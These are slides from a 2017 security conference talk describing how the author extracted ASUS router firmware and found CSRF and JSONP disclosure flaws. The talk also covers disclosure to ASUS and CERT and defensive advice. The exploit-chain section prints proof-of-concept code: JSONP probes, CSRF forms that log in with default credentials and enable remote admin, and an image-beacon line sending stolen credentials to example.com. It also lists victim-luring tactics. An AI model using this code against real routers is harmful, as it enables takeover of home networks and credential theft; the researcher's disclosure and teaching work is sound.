Hacking ASUS Routers: A Case Study

By Yakov Shafranovich
yakov@nightwatchcybersecurity.com
October 8th, 2017
About Me

• I was a software developer most of my career
• Security bug bounty hunter on the side
• Recently switched to application security full time but I’m here personally, not on behalf of my employer
• Was involved in some early anti-spam work:
  • Co-chaired IRTF’s Anti Spam Research Group
  • Involved in IETF / pre-standards work for SPF and DKIM
  • Created the MARF protocol for exchanging spam reports (RFC 5965)
• Also did some non-security standards work:
  • RFCs 4180 (CSV files) and 6922 (SQL MIME type)
  • Participated in W3C’s CSV for the Web WG
Don’t do anything without talking to a lawyer first!
Part 1:
Finding router vulnerabilities

“This is George. He was very happy. But he had one fault. He was too curious.”
How This Started

• I am not a network level pen tester but I played with the tools and know the concepts

• Most of my security experience has been in application security around web and mobile

• I never cracked open firmware files before

• I was always curious about hardware and how firmware gets updated
How This Started

- Have access to an ASUS router with no new firmware ... for a while

- New firmware was released in December 2016, I downloaded it and was applying it

- Then I thought to myself? Hmm ... I wonder where it keeps its brain

- Routers are just Linux boxes masquerading as a network devices – there is code in there somewhere...
Where I Started

- Downloaded latest ASUS firmware and unzipped
- End up with a .TRX file – what is that??
- Googled “decompile TRX” file – found binwalk – a tool for extracting firmware images
- Installed binwalk, and extracted the TRX file
- Looked inside and found Linux code and a bunch of “*.json” and “*.asp” files – huh???
- Web UI files?
What Did I do?

$ wget http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N56U/FW_RT_N56U_30043804180.ZIP
$ unzip FW_RT_N56U_30043804180.ZIP
$ sudo apt-get install binwalk
$ binwalk -e RT-N56U_3.0.0.4_380_4180-ge57f472.trx
$ cd _RT-N56U_3.0.0.4_380_4180-ge57f472.trx.extracted/
$ ls *.json
findasus.json  httpd_check.json
$ cat findasus.json
iAmAlive(<% findasus(); %>)
$ cat httpd_check.json
iAmAlive(<% httpd_check(); %>)
$ ls *.asp
Advanced_ACL_Content.asp              get_real_ip.asp
Advanced_AiDisk_ftp.asp                 get_release_note0.asp
Advanced_AiDisk_samba.asp               get_release_note1.asp
Advanced_AiDisk_webdav.asp             getsharearray.asp
Advanced_APPList_Content.asp           getsharelink.asp
Advanced_ASUSDDNS_Content.asp          gets1.asp
Advanced_BasicFirewall_Content.asp     gettree.asp
Advanced_DHCP_Content.asp              get_webdavInfo.asp
Advanced_Exposed_Content.asp           Guest_network.asp
Advanced_Feedback.asp                  index.asp
Advanced_Firewall_Content.asp          initial_account.asp
Advanced_Firewall_IPv6_Content.asp     internet.asp
Advanced_FirmwareUpgrade_Content.asp   Logout.asp
Advanced_GWStaticRoute_Content.asp     Main_AdmStatus_Content.asp
...
What Did I do?

- ASP files are normally Windows IIS server-side scripts, but the router is obviously running Linux
- Started looking inside, they looked like HTML and JSON templates.
- Logged in to the router UI and saw that the requests paths matched the files in firmware
- Started looking inside the various templates, and narrowed my search down to JSON templates only
- JSON templates were wrapped in callbacks – JSONP!!!
What's Inside the ASP files?

```bash
$ cat get_real_ip.asp
fromNetworkmapd = '<<% get_client_detail_info(); %>>'.replace(/&#62/g,
        ")').replace(/&#60/g, "<") .split("<");
$ cat clients.asp
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
<meta HTTP-EQUIV="Expires" CONTENT="-1">
<link rel="shortcut icon" href="images/favicon.png">
<link rel="icon" href="images/favicon.png">
<link href="/form_style.css" rel="stylesheet" type="text/css" />
<link href="/NM_style.css" rel="stylesheet" type="text/css" />
<link href="/device-map/device-map.css" rel="stylesheet" type="text/css" />
<title>device-map/clients.asp</title>
<style>
  p{font-weight: bolder;}
  .circle{
    position: absolute;
    width: 23px;
  ...
```
Hacking the UI

• Now we are in appsec land!

• I started analyzing the UI like I would any other web application (see OWASP top 10)

• Looked at the files in the firmware and tried them as endpoints – some worked and some didn’t

• Looked at network requests while in the router UI

• Found a bunch of issues, started writing some exploits and they worked!
Responsible Disclosure

- I contacted both ASUS and CERT, it took some time to get the right contacts at ASUS
- ASUS eventually fixed most of the issues, but we had a disagreement over one (CVE-2017-8877)
- They sent me the beta firmware to test, it looked good for most of the issues
- Patches were released by ASUS about a month after the original report
- I publicly disclosed about a month after the patches were released
- Suddenly got flooded with reports from users about other ASUS devices being affected
- ASUS will be fixing the last issue (CVE-2017-8877)
Lessons Learned

• “Too curious” is a good thing in security
• Don’t be afraid of new things
• Google is a wonderful resource :)
• Responsible disclosure works
Part 2:
Exploiting ASUS router vulnerabilities
Interesting Facts

- ASUS is under a 20 year FTC consent order on router security since February 2016
- Total of 42 router models affected (RT-*)
- Firmware prior to March 2017 is affected
- Open source firmware may be impacted if the code is derived from the ASUS code
- ASUS router market share is 4.3% / 12,000 units in Q4 2016 (source: CRN/NPD)
- For high end WiFi routers, market share is 13% in Q4 (source: NetGear/NPD)
- These vulnerabilities are not network level, but application level – similar to issues found in many web sites
Here are the vulnerabilities I found – most were patched in March 2017

CVE-2017-5891 (CVSS v3: 8.8): CSRF in login and settings pages

CVE-2017-5892 (CVSS v3: 7.5): Authenticated JSONP disclosure

CVE-2017-8877 (CVSS v3: 6.5) - unpatched: Unauthenticated JSONP disclosure

CVE-2017-8878 (CVSS v3: 6.5): WiFi Password disclosure
(cannot be exploited from the web due to cross origin restrictions)
Why is Cross-Site Request Forgery (CSRF) bad?

- Browser keeps session state in cookies and sends the cookie automatically with all requests.
- Even requests from HTML pages on other domains will get submitted with valid session cookies (unless “SameSite” cookies are used).
- Visiting a malicious site while logged to a sensitive site can allow the malicious site to use the existing session (“session riding”) unless special controls are in place.
Browsers do not allow requests across different domains (cross origin restrictions).
But browsers do allow Javascript to be loaded from other domains via `<SCRIPT>` (unless CSP is used).
JSONP is a way to bypass the cross origin restriction by returning JSON data wrapped in a Javascript callback function.
Sites that have JSONP APIs (versus XML or JSON APIs) are vulnerable to other domains calling these APIs in the same browser session.
Conceptually this is similar to CSRF.
Exploit Chain

1) Get a user to visit a malicious page or install app (spam, watering hole attack, fake ASUS page, etc.)
2) Detect the local IP range or use the ASUS model-specific router domain name (WebRTC or network APIs)
3) Detect if the network is being fronted by an ASUS router (CVE-2017-8877)
4) Login to the router with default credentials or fool user to collect credentials (CVE-2017-5891)
5) Collect data from the router (CVE-2017-5892 and CVE-2017-8878)
6) Turn-on remote access (CVE-2017-5891)
7) Send data back to the attackers
8) Powned!!!
1 - Trick user to visit a malicious site or install app

• Because this is not a network level attack, it is not possible to simply scan the whole Internet for ASUS routers (although other network level attacks do exist)
• These vulnerabilities are not probably not wormable
• Requires a user located on the same local network to visit a malicious site or install a malicious application
• Some ways to trick users would include:
  • Spam
  • Watering hole attack – using an ASUS-dedicated forum
  • Creating fake ASUS support websites or apps
  • Etc.
2 - Detect the local IP range

- WebRTC implementations include ways to detect the local IP, may be blockable in some browsers:
  - [https://www.w3.org/wiki/Privacy/IPAddresses](https://www.w3.org/wiki/Privacy/IPAddresses)
- WebRTC example published by Daniel Roesler in 2015:
  - [https://github.com/diafygi/webrtc-ips](https://github.com/diafygi/webrtc-ips)
- Flash can also leak IP addresses but is becoming disabled in browsers
- Or you can just assume “192.168.1.0” or some other default
- In mobile/desktop apps, it is possible to use the OS APIs to detect the local IP range
- ASUS also includes some default domain names that work on ASUS routers – full list not clear ([http://rt-66](http://rt-66), routerasus.com, etc.)
3 - Detect if the network is being fronted by an ASUS router (CVE-2017-8877)

- Deduce gateway address from local IP
  - For example: 192.168.1.33 → 192.168.1.1
- This vulnerability is a JSONP call without authentication, returns some basic information about the router, two end points:
  - **http://[routerip]/findasus.json** - returns the router model name, SSID name and the local IP address of the router
    ```javascript
    iAmAlive([{
        model?Name: "XXX", ssid: "YYY", ipAddr: "ZZZZ"
    }])
    ```
  - **http://[routerip]/httpd_check.json** - return almost nothing but verifies presence of ASUS router
    ```javascript
    iAmAlive({"alive": 1, "isdomain": 0})
    ```
function iAmAlive(payload) {
    window.alert("Result returned: " + JSON.stringify(payload));
}

function endpoint1() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/findasus.json'
    document.getElementsByTagName('head')[0].appendChild(script);
}

function endpoint2() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/httpd_check.json'
    document.getElementsByTagName('head')[0].appendChild(script);
}

3 - Detect if the network is being fronted by an ASUS router (CVE-2017-8877)
Login page for the router administrative interface is vulnerable to CSRF, this step can be skipped if the user is already logged in
Another site can login to the router via a form POST request, can use a hidden IFRAME for that
Default credentials for the router are usually “admin:admin”, most users don’t change the defaults :(
For users that do change credentials, social engineering or something similar can be used to collect credentials

Exploit code (credentials are base-64 encoded):

```
<form action="http://192.168.1.1/login.cgi"
    method="post" target="_blank">
<input name="login_authorization" type="text"
    value="YWRtaW46YWRtaW4=" />
<input type="submit" />
</form>
```
5 - Collect data from the router (CVE-2017-5892 and CVE-2017-8878)

- **CVE-2017-8878** - returns the WiFi password, only available in XML, not exploitable from the web due to cross origin but can be exploited from a mobile or desktop application:
  - http://[routerip]/WPS_info.xml

- **CVE-2017-5892** - JSONP calls requiring authentication, useful for checking if the user is currently logged in or if the previous CSRF login step worked
  - Makes all kind of information about the router and attached devices available
5 - List of endpoints for CVE-2017-5892 (may be incomplete)

- http://[routerip]/status.asp
  - WAN link information
- http://[routerip]/wds_aplist_2g.asp
- http://[routerip]/wds_aplist_5g.asp
  - Information about surrounding access points, this is an active scan with potential for DOS
- http://[routerip]/update_networkmapd.asp
  - Information about devices on the local network
- http://[routerip]/update_clients.asp
  - Origin information
- http://[routerip]/get_real_ip.asp
  - External IP information
- http://[routerip]/get_webdavInfo.asp
  - Information about WebDAV access to the router
function getrealip() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/get_real_ip.asp';
    document.getElementsByTagName('head')[0].appendChild(script);
}

<button onClick="getrealip()">Load IP</button>
<button onClick="window.alert(JSON.stringify(wan0_realip_ip))">Show IP</button>
Some remote administration options that can be enabled in the UI:
- Logging to a remote server
- Telnet access
- Remote web access from external IP via a high port to avoid scanning engines like Shodan
- Change remote admin timeout
- Limit remote access to specific IP address
- Change username and password – if you do this, the user may figure out something is wrong, eventually
5 - ASUS admin UI
6 - Turn-on remote access (CVE-2017-5891)

- Settings pages including remote admin are vulnerable to CSRF
- Another site can login to the router via a form POST request, can use a hidden IFRAME for that
- I have not been able to reproduce this consistently but others did, in multiple models
- Basic approach is to have a form posting to the router with settings changes
- Example - something along these lines to enable remote access on port 54321 – incomplete:

```html
<form action="http://192.168.1.1/start_apply.htm" method="post" target="_blank">
  <input name="misc_http_x" type="text" value="1" />
  <input name="misc_httpport_x" type="text" value="54321" />
  ...
  <input type="submit" />
</form>
```
7 - Send data back to attackers - HTTP GET

```javascript
var el = document.createElement('img');
el.src = 'http://example.com/report_back?external_ip' + external_id + '&port=' + port + '&username=' + username + '&password=' + password;
document.getElementsByTagName('head')[0].appendChild(el);
</script>
```
What is the worse possible thing an attacker can do???

- Monitor network traffic remotely
- Have remote administrative access
- Can change firewall and network settings to mess with the user (reduce speeds, bump certain devices off the network, etc)
- **Can update the firmware and get root access to the router itself**
One more thing...
Someone else found some RCEs:

CVE-2017-11344 (CVSS v3: 7.8):
Global buffer overflow ... allows remote attackers to write shellcode at any address in the heap...

CVE-2017-11345 (CVSS v3: 7.8):
Stack buffer overflow ... allows remote attackers to execute arbitrary code on the router ...
Lessons Learned

- IOT manufacturers may not be well versed in application security which results in insecure devices
- Make sure you know what kind of router you have and whether the manufacturer is serious about security; otherwise get a different router
- Apply all the latest patches, consider installing open source firmware
- Change the admin credentials during installation
- Login to the admin UI in an separate session and log out when you are done
- Be careful about visiting sites and installing apps that claim to be from the manufacturer
Everything covered here is also published on our blog:
https://wwws.nightwatchcybersecurity.com/2017/05/09/multiple-vulnerabilities-in-asus-routers/

Questions? Comments?
Email: research@nightwatchcybersecurity.com